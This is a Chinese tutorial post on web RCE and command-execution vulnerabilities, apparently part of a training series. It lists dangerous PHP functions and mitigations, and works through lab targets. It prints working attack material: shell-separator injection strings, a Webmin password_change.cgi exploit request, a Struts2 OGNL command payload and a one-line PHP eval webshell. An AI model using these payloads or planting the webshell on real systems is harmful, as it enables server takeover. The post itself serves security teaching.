失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

时间:2022-08-29 17:06:03

相关推荐

第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

RCE概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

RCE 漏洞产生相关性函数

PHP函数

PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

​ PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() ``反引号

eval()

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

system()

(PHP 4, PHP 5, PHP 7, PHP 8)

system — 执行外部程序,并且显示输出

<?phpif($_GET['cmd']){$str=$_GET['cmd'];system($str);?>

cmd=(任一windows命令) 都可当成windows系统命令执行。

漏洞形成条件

可控变量,漏洞函数

不安全的使用了代码调用代码或命令执行函数

不安全的使用了调用系统命令

如何挖掘RCE漏洞

漏洞扫描

黑盒测试:网站中有特殊功能,比如Ping、数据库备份等等。

白盒测试:查看命令执行函数是否做过滤。命令执行函数如下:

​ PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

​ PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() ``反引号

如何防范

敏感函数禁用,尽量不要使用命令执行函数,不能完全控制的危险函数最好不使用

在进入执行命令函数前进行严格的检测和过滤;

部署WAF

poc 验证代码

exp 利用代码

拓展知识

常用管道符

Linux系统支持的管道符:

“;”:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami

“|”:显示后面语句的执行结果。例如:ping 127.0.0.1 | whoami

“||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1 || whoami

“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 2 & whoami

“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1 && whoami

Windows系统支持的管道符:

“|”:直接执行后面的语句。例如:ping 127.0.0.1 | whoami

“||”:句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 3 ||whoami

“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1 & whoami

“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:127.0.0.1 && whoami

演示案例

墨者靶场黑盒功能点命令执行-应用功能

ubuntu4.14 linux系统

前端校验

(绕过:禁用js或者bp抓包改包)

墨者靶场白盒代码及命令执行-代码分析

<?phpeval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));?>

在线运行

echo `$_REQUEST[a]`;; ?>

相当于

<?phpeval(echo `$_REQUEST[a]`;; ?>);?>

反引号括起来的字符串被shell解释为命令行

墨者靶场黑盒层 RCE 漏洞检测-公开漏洞

/usr/share/webmin/acl

改数据包

POST /password_change.cgi HTTP/1.1Host: 127.0.0.1:10000User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Accept-Encoding: gzip, deflateAccept: */*Connection: closeAccept-Language: enCookie: redirect=1; testing=1; sid=x; sessiontest=1Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgiContent-Type: application/x-www-form-urlencodedContent-Length: 55cache-control: no-cacheuser=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2

Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面

poc

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%mand%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%mons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls /

访问:http://ip/orders/3/+poc

执行命令 cat key.txt k 获取key

mozhef1ef23239c5142b18b80a5220ba

也可以使用漏洞工具:

工具下载地址

一句话 Webshell 后门原理代码执行-拓展说明

<?php @eval($_POST[‘pass’]);?>

通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。

“@”在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息

涉及资源:

/ermei/p/6689005.html

/post/snowming/9da184ef24bd

/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe

/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe

/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe

如果觉得《第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。